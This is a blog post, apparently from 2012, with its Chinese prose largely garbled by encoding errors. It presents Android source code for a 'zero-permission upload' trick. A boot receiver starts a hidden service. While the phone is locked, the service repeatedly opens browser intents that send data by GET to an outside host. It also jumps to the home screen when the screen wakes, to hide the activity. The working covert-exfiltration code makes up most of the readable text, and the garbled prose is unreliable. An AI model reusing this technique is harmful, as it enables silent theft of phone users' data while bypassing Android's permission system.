�ϴ�д��һƪ���� ��ש���� ֮ ˭�����ҵ���˽(android�û���˽��̽) �������ζ�ȡϵͳlog��������������Ȩ����ʾ���⡣
�����������õ��ģ�������0Ȩ���ϴ�����
ͬ�ϴν���һ������Ȼ���û��ڰ�װappʱ��Ȩ�����Ӷ��������������Ժ��û�����Ȩ������Խ��Խ���ӵġ�
������������������һ��0Ȩ���ϴ���������
һ��ԭ��
�������õĻ����Ǹ���������bug��
Ȼ�������ֻ�����ʱ�ϴ����ݡ�
�����ϴ������أ�Ϊ�˱���Ȩ�����ǵ�����������
����֪������Intentת����ʱ����ת������ΪACTION_VIEW��activity���������������������ǣ����Դ�һ��uri��ȥ��
soga,˵������������˰ɡ�����ʹ��http��GET���Σ���Ȼֻ�ܴ����ģ����Ѿ����ˣ����ο�һ���ܴ������ֽ�Ҳ���Ǻܿ۵ġ�
���ڴ�ʲô��ÿ����ʵ�����ֹ��ܵ��˶�����Ŀ�İɡ�
����ʵ��
�������嵥�ļ�������Ҫ�����κ�Ȩ�ޣ�ֻ��Ҫдһ���㲥�����ߺ�һ������
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="org.igeek.hack"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >
<service android:name=".service.HackerService"/>
</application>
</manifest>
Ȼ�����ǹ㲥�����ߵ�ʵ�֣��ܼ������Ŀ���һ������
package org.igeek.hack.reciver;
import org.igeek.hack.service.HackerService;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* @author ���� E-mail:[email protected]
* @version ����ʱ�䣺2012-01-13 ����10:32:21
* ��˵��
*/
public class HackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}
}
�����ǹؼ����֣�������ʵ��
1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author ���� E-mail:[email protected]
18 * @version ����ʱ�䣺2012-01-13 ����10:42:11
19 * ��˵��
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET�ύ��ַ
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //����������״̬
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET�ϴ�����������
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"�ύ����->"+HACK_URL+hackInfo);
52
53 //ÿ��5�룬ִ��һ���ϴ�
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "�������ɣ�ע���㲥������");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * �����㲥������
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "���");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "ת��HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * �����㲥������
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "��Ļ��ס");
123
124 //500ms����ʼִ���ϴ�����
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }
������
�������������ԣ��ػ���������������������������������û����ʲô��Ӧ���������ٿ���������������Hack����Ҳû���κ�Ȩ����ʾ��������

������������������log

you see? ��������ô���ĵĺ��ˡ�
�����̰���ַ��hack_0p_upload.zip
������
��ô��å�ļ���������˭������������google marketҲ���ҵ�һ����Ϳ��android app���ҵIJ������ӣ����һ��Dz���˫�ۣ���ȫ��һ��Ҫע���ġ�
���⣬���ڿ�������������bug��ò��360���ֻ���ȫ�������Լ�����������������û�ԣ���Ϊ�Һ������Ҵ�����װ��ȫ������

ϲ��
��
�ѹ�
��
��
����



����̬��Ϸ�ĸ�
�����ͳ�ֵ����
2023����������
�ڱ����õIJ���